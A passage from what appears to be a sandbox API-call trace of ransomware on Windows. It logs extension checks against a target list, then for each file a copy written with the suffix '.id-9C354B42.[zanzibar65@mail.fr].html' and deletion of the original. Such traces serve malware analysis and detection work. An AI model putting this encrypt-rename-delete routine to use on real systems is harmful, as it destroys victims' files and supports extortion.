[0270.363] lstrlenW (lpString=".doc") returned 4 [0270.363] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0270.363] lstrlenW (lpString=".docx") returned 5 [0270.363] lstrcmpiW (lpString1=".docx", lpString2="0.rll") returned -1 [0270.363] lstrlenW (lpString=".pdf") returned 4 [0270.363] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0270.363] lstrlenW (lpString=".xls") returned 4 [0270.363] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0270.363] lstrlenW (lpString=".xlsx") returned 5 [0270.363] lstrcmpiW (lpString1=".xlsx", lpString2="0.rll") returned -1 [0270.363] lstrlenW (lpString=".ppt") returned 4 [0270.363] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0270.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0270.363] lstrlenW (lpString=".zip") returned 4 [0270.363] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0270.363] lstrlenW (lpString=".rar") returned 4 [0270.363] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0270.363] lstrlenW (lpString=".bz2") returned 4 [0270.363] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0270.363] lstrlenW (lpString=".7z") returned 3 [0270.363] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0270.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0270.363] lstrlenW (lpString=".dbf") returned 4 [0270.363] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0270.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0270.363] lstrlenW (lpString=".1cd") returned 4 [0270.363] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0270.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0270.364] lstrlenW (lpString=".jpg") returned 4 [0270.364] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0270.364] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0270.364] lstrlenW (lpString="CMNTY_01.MID") returned 12 [0270.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0270.983] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=6970) returned 1 [0270.983] CloseHandle (hObject=0x37c) returned 1 [0270.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x20 [0271.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0271.170] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0271.170] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0271.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0271.171] GetLastError () returned 0x0 [0271.171] ReadFile (in: hFile=0x30c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x1b3a, lpOverlapped=0x0) returned 1 [0271.172] WriteFile (in: hFile=0x370, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0x1b40, lpOverlapped=0x0) returned 1 [0271.173] ReadFile (in: hFile=0x30c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x0, lpOverlapped=0x0) returned 1 [0271.173] WriteFile (in: hFile=0x370, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.173] SetEndOfFile (hFile=0x370) returned 1 [0271.173] CloseHandle (hObject=0x370) returned 1 [0271.173] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0271.173] SetEndOfFile (hFile=0x30c) returned 1 [0271.548] CloseHandle (hObject=0x30c) returned 1 [0271.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.644] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid")) returned 1 [0271.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0271.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0271.644] lstrlenW (lpString=".doc") returned 4 [0271.644] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.644] lstrlenW (lpString=".docx") returned 5 [0271.644] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.644] lstrlenW (lpString=".pdf") returned 4 [0271.644] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.644] lstrlenW (lpString=".xls") returned 4 [0271.644] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.644] lstrlenW (lpString=".xlsx") returned 5 [0271.644] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.644] lstrlenW (lpString=".ppt") returned 4 [0271.644] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0271.644] lstrlenW (lpString=".zip") returned 4 [0271.644] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.644] lstrlenW (lpString=".rar") returned 4 [0271.644] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.644] lstrlenW (lpString=".bz2") returned 4 [0271.644] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.645] lstrlenW (lpString=".7z") returned 3 [0271.645] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0271.645] lstrlenW (lpString=".dbf") returned 4 [0271.645] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0271.645] lstrlenW (lpString=".1cd") returned 4 [0271.645] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0271.645] lstrlenW (lpString=".jpg") returned 4 [0271.645] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0271.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0271.645] lstrlenW (lpString=".doc") returned 4 [0271.645] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.645] lstrlenW (lpString=".docx") returned 5 [0271.645] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.645] lstrlenW (lpString=".pdf") returned 4 [0271.645] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.645] lstrlenW (lpString=".xls") returned 4 [0271.645] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.645] lstrlenW (lpString=".xlsx") returned 5 [0271.645] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.645] lstrlenW (lpString=".ppt") returned 4 [0271.645] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0271.645] lstrlenW (lpString=".zip") returned 4 [0271.645] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.645] lstrlenW (lpString=".rar") returned 4 [0271.645] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.645] lstrlenW (lpString=".bz2") returned 4 [0271.645] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.646] lstrlenW (lpString=".7z") returned 3 [0271.646] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0271.646] lstrlenW (lpString=".dbf") returned 4 [0271.646] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0271.646] lstrlenW (lpString=".1cd") returned 4 [0271.646] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0271.646] lstrlenW (lpString=".jpg") returned 4 [0271.646] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.646] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0271.646] lstrlenW (lpString="NBOOK_01.MID") returned 12 [0271.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0271.662] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=5968) returned 1 [0271.662] CloseHandle (hObject=0x37c) returned 1 [0271.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid")) returned 0x20 [0271.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.682] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0271.682] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0271.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0271.739] GetLastError () returned 0x0 [0271.739] ReadFile (in: hFile=0x388, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x1750, lpOverlapped=0x0) returned 1 [0271.755] WriteFile (in: hFile=0x2f8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0x1760, lpOverlapped=0x0) returned 1 [0271.756] ReadFile (in: hFile=0x388, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x0, lpOverlapped=0x0) returned 1 [0271.756] WriteFile (in: hFile=0x2f8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.756] SetEndOfFile (hFile=0x2f8) returned 1 [0271.756] CloseHandle (hObject=0x2f8) returned 1 [0271.756] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0271.756] SetEndOfFile (hFile=0x388) returned 1 [0271.758] CloseHandle (hObject=0x388) returned 1 [0271.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid")) returned 1 [0271.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0271.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0271.811] lstrlenW (lpString=".doc") returned 4 [0271.811] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.811] lstrlenW (lpString=".docx") returned 5 [0271.811] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.811] lstrlenW (lpString=".pdf") returned 4 [0271.811] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.811] lstrlenW (lpString=".xls") returned 4 [0271.811] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.811] lstrlenW (lpString=".xlsx") returned 5 [0271.811] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.811] lstrlenW (lpString=".ppt") returned 4 [0271.811] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0271.812] lstrlenW (lpString=".zip") returned 4 [0271.812] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.812] lstrlenW (lpString=".rar") returned 4 [0271.812] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.812] lstrlenW (lpString=".bz2") returned 4 [0271.812] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.812] lstrlenW (lpString=".7z") returned 3 [0271.812] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0271.812] lstrlenW (lpString=".dbf") returned 4 [0271.812] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0271.812] lstrlenW (lpString=".1cd") returned 4 [0271.812] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0271.812] lstrlenW (lpString=".jpg") returned 4 [0271.812] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0271.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0271.812] lstrlenW (lpString=".doc") returned 4 [0271.812] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.812] lstrlenW (lpString=".docx") returned 5 [0271.812] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.812] lstrlenW (lpString=".pdf") returned 4 [0271.812] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.812] lstrlenW (lpString=".xls") returned 4 [0271.812] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.812] lstrlenW (lpString=".xlsx") returned 5 [0271.813] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.813] lstrlenW (lpString=".ppt") returned 4 [0271.813] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0271.813] lstrlenW (lpString=".zip") returned 4 [0271.813] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.813] lstrlenW (lpString=".rar") returned 4 [0271.813] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.813] lstrlenW (lpString=".bz2") returned 4 [0271.813] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.813] lstrlenW (lpString=".7z") returned 3 [0271.813] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0271.813] lstrlenW (lpString=".dbf") returned 4 [0271.813] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0271.813] lstrlenW (lpString=".1cd") returned 4 [0271.813] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0271.813] lstrlenW (lpString=".jpg") returned 4 [0271.813] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.813] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0271.813] lstrlenW (lpString="PARNT_04.MID") returned 12 [0271.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.814] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=6070) returned 1 [0271.814] CloseHandle (hObject=0x388) returned 1 [0271.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid")) returned 0x20 [0271.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.815] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0271.815] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0271.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0271.815] GetLastError () returned 0x0 [0271.815] ReadFile (in: hFile=0x388, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x17b6, lpOverlapped=0x0) returned 1 [0271.816] WriteFile (in: hFile=0x2f8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0x17c0, lpOverlapped=0x0) returned 1 [0271.817] ReadFile (in: hFile=0x388, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x0, lpOverlapped=0x0) returned 1 [0271.817] WriteFile (in: hFile=0x2f8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.817] SetEndOfFile (hFile=0x2f8) returned 1 [0271.818] CloseHandle (hObject=0x2f8) returned 1 [0271.818] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0271.818] SetEndOfFile (hFile=0x388) returned 1 [0271.820] CloseHandle (hObject=0x388) returned 1 [0271.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid")) returned 1 [0271.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0271.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0271.821] lstrlenW (lpString=".doc") returned 4 [0271.821] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.821] lstrlenW (lpString=".docx") returned 5 [0271.821] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0271.821] lstrlenW (lpString=".pdf") returned 4 [0271.821] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.821] lstrlenW (lpString=".xls") returned 4 [0271.821] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.821] lstrlenW (lpString=".xlsx") returned 5 [0271.821] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0271.821] lstrlenW (lpString=".ppt") returned 4 [0271.821] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0271.821] lstrlenW (lpString=".zip") returned 4 [0271.821] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.821] lstrlenW (lpString=".rar") returned 4 [0271.821] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.821] lstrlenW (lpString=".bz2") returned 4 [0271.821] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.821] lstrlenW (lpString=".7z") returned 3 [0271.821] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0271.821] lstrlenW (lpString=".dbf") returned 4 [0271.821] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0271.821] lstrlenW (lpString=".1cd") returned 4 [0271.821] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0271.821] lstrlenW (lpString=".jpg") returned 4 [0271.821] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0271.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0271.822] lstrlenW (lpString=".doc") returned 4 [0271.822] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.822] lstrlenW (lpString=".docx") returned 5 [0271.822] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0271.822] lstrlenW (lpString=".pdf") returned 4 [0271.822] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.822] lstrlenW (lpString=".xls") returned 4 [0271.822] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.822] lstrlenW (lpString=".xlsx") returned 5 [0271.822] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0271.822] lstrlenW (lpString=".ppt") returned 4 [0271.822] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0271.822] lstrlenW 